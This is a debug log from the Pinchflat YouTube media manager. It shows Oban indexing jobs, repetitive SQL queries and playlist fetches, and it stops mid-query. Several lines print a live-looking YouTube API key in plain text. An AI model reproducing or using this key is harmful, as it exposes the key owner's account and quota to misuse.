RETURNING "id" [3799847, 12, ~U[2026-02-10 21:56:31Z], ~U[2026-02-10 21:56:31Z]] 15:56:31.236 [info] {"args":{"id":12},"id":3799807,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":169688,"event":"job:stop","queue_time":542689,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:31.338 [debug] QUERY OK source="media_items" db=0.7ms idle=101.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 15:56:31.340 [debug] QUERY OK source="media_items" db=1.2ms idle=102.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 15:56:31.340 [debug] QUERY OK source="tasks" db=0.1ms idle=98.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799848, 11, ~U[2026-02-10 21:56:31Z], ~U[2026-02-10 21:56:31Z]] 15:56:31.341 [info] {"args":{"id":11},"id":3799808,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":274135,"event":"job:stop","queue_time":422128,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:32.068 [info] {"args":{"id":27},"id":3799811,"meta":{},"system_time":1770760592068842885,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:32.068 [info] {"args":{"id":28},"id":3799810,"meta":{},"system_time":1770760592068811737,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:32.069 [debug] QUERY OK source="sources" db=0.2ms idle=728.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 15:56:32.069 [debug] QUERY OK source="sources" db=0.2ms idle=727.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 15:56:32.069 [debug] QUERY OK source="settings" db=0.1ms idle=722.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:32.069 [debug] QUERY OK source="settings" db=0.2ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:32.069 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:32.069 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:32.070 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:32.070 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 15:56:32.070 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:32.070 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 15:56:32.070 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:32.070 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:32.070 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:32.070 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:32.188 [debug] QUERY OK source="media_items" db=0.8ms idle=117.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 15:56:32.189 [debug] QUERY OK source="media_items" db=0.8ms idle=118.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 15:56:32.190 [debug] QUERY OK source="tasks" db=0.1ms idle=119.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799849, 27, ~U[2026-02-10 21:56:32Z], ~U[2026-02-10 21:56:32Z]] 15:56:32.190 [info] {"args":{"id":27},"id":3799811,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":121514,"event":"job:stop","queue_time":561762,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:32.262 [debug] QUERY OK source="media_items" db=0.7ms idle=72.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 15:56:32.264 [debug] QUERY OK source="media_items" db=0.4ms idle=73.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 15:56:32.264 [debug] QUERY OK source="tasks" db=0.1ms idle=68.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799850, 28, ~U[2026-02-10 21:56:32Z], ~U[2026-02-10 21:56:32Z]] 15:56:32.265 [info] {"args":{"id":28},"id":3799810,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":196200,"event":"job:stop","queue_time":880762,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:34.071 [info] {"args":{"id":16},"id":3799812,"meta":{},"system_time":1770760594071669924,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:34.072 [debug] QUERY OK source="sources" db=0.1ms idle=193.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 15:56:34.072 [debug] QUERY OK source="settings" db=0.0ms idle=193.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:34.072 [debug] QUERY OK source="media_profiles" db=0.1ms idle=193.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:34.072 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:34.072 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 15:56:34.072 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:34.072 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:56:34.190 [debug] QUERY OK source="media_items" db=0.6ms idle=117.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 15:56:34.192 [debug] QUERY OK source="media_items" db=1.2ms idle=118.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 15:56:34.193 [debug] QUERY OK source="tasks" db=0.1ms idle=120.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799851, 16, ~U[2026-02-10 21:56:34Z], ~U[2026-02-10 21:56:34Z]] 15:56:34.193 [info] {"args":{"id":16},"id":3799812,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":121496,"event":"job:stop","queue_time":149029,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:35.072 [info] {"args":{"id":43},"id":3799813,"meta":{},"system_time":1770760595072636512,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:56:35.073 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=879.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 15:56:35.073 [debug] QUERY OK source="settings" db=0.1ms idle=879.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:35.073 [debug] QUERY OK source="media_profiles" db=0.1ms idle=873.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:56:35.073 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:56:35.073 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 15:56:35.073 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT 